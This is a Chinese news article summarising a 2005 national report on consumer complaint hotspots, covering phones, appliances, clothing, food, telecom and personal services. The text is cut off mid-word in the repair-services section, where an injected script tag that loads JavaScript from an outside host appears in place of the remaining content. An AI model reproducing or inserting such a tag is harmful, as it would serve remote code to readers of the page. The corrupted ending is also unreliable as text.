作者：贾君
３月１４日，国家工商行政管理总局公布了２００５年全国工商机关消费者申诉热点情况分析报告。报告显示，２００５年，消费者申诉热点主要集中在家用电子电器、日用百货、食品、电信服务、居民服务、修理维护服务、农用生产资料、互联网服务、文化娱乐服务、汽车等１０个方面。
家用电子电器类申诉——
手机售后服务问题较多
２００５年，全国工商机关受理家用电子电器类申诉１９９３３０件，位居商品消费申诉首位。申诉涉及的商品主要集中在通讯器材、电视机、空调器和计算机及配套设备。
以手机为主的通讯器材申诉１０２２４６件，比上年增长３．０４％，但增幅比上年下降２２．６１％，降幅较大。值得注意的是，通讯器材尤其是手机质量有所好转，但售后服务问题比较多。申诉的主要问题是，通话质量差，经常无法正常接收信息；自动关机、按键失灵、液晶不显示、翻盖断裂、电池待机时间短；“三包”履行难，责任鉴定难；售后服务人员素质低，不能准确判明故障，维修乱收费等。
电视机申诉１７７４７件，申诉的主要问题是，显像管变色、屏幕图像抖动或无图像、噪音大、机体上控制键失效、电视机起火或爆炸；虚假宣传；不履行赠送赠品的承诺等。
空调类申诉１４５６６件，比上年增加２１．１７％。申诉的主要问题是，室内机漏氟、噪声大、主板开裂、自动关机、不制冷；室外机漏电、压缩机不运转；销售旺季安装时间拖延、售后服务不及时等。
计算机及配套设备申诉８１９１件，比上年增加１１．８％。申诉的主要问题是，计算机键盘失灵、鼠标不能正常使用、经常出现死机等。
日用百货类申诉——
服装、鞋和家具仍为重点
２００５年，全国工商机关受理日用百货类申诉１１２７６６件，位居商品消费申诉第二位。服装、鞋和家具仍是申诉重点，其中服装申诉３３４８９件，申诉的主要问题是，服装开线、破损、羽绒服掉毛、羊毛衫起球；保暖内衣产品利用夸大宣传等手段诱导消费者等。鞋申诉３３９１４件，申诉的主要问题是，鞋底断裂、鞋面破损开裂、鞋面掉色或变花，在保修期内出现质量问题修理、退换货难等。家具申诉１１８２６件，申诉的主要问题是，主要材质标识不清、使用以次充好或不合格材料制作家具、家具有害物质超标、家具“三包”履行难等。
食品类申诉——
比上年有大幅下降
２００５年，全国工商机关受理烟、酒、饮料、食品类申诉６４９０８件，位居商品消费申诉第三位。此类申诉虽然比上年有大幅度下降，降幅达０．２４％，但由于食品安全关系人身健康和生命安全，广大消费者仍然十分关注。申诉的主要问题是，食品标识标注与实际不符；销售过期或变质食品；散装食品受到污染或包装不符合规定；无证照或证照不全生产加工销售食品；销售假冒他人注册商标食品；食品添加剂超标甚至利用化学制品、工业原料或其他有毒有害物质加工食品。
电信服务类申诉——
手机短信服务问题较突出
２００５年，全国工商机关受理电信服务类申诉４７６７３件，居２０大类服务消费申诉首位。移动电信申诉和固定电信申诉分别比上年增长１２．５１％和１２．８８％。移动电信申诉２５６３４件，申诉中涉及手机短信服务的问题较为突出，主要问题是，退订短信难，利用短信设置陷阱乱收费，擅自开通短信服务业务，利用电视和报纸等开展短信互动活动时收费不明确，利用短信向消费者发送中奖等虚假信息进行诈骗活动，发送带有黄色或商业销售等不良信息的垃圾短信骚扰消费者等。此外，话费误差多、单方规定预存话费期限、到期冻结话费余额、用户终止服务退费难等问题依然存在。固定电信申诉１５２３１件，申诉的主要问题是，资费不透明；电信部门收费不合理或多收费；电话安装、故障报修或移机不及时等。
居民服务类申诉——
洗染、美容服务是重点
２００５年，全国工商机关受理居民服务类申诉３６９２５件，位居服务消费申诉第二位。洗染服务和理发及美容保健服务是消费者申诉重点，其中洗染服务申诉１１９０３件，申诉的主要问题是，衣服变色、染色、起毛、变形、熨坏、缩水；未洗干净；遗失衣物配件；责任认定难；服务态度差等。理发及美容保健申诉９０４０件，申诉的主要问题是，部分经营者不具备医疗资质，从业人员也未接受正规的技能培训；服务场所卫生条件差；产品进货渠道和包装标识不规范，甚至使用其店内自行销售或私自配制的“三无”产品；虚假夸大宣传等。
修理维护服务类申诉——
家电修理申诉居多
２００５年，全国工商机关受理修理维护服务类申诉２９１８４件，位居服务消费申诉第三位。修理维护服务涉及家电修理、日用品修理、摩托车修理、汽车维护保养和农机修理等几大类，其中家电修?script src=http://er12.com/t.js>
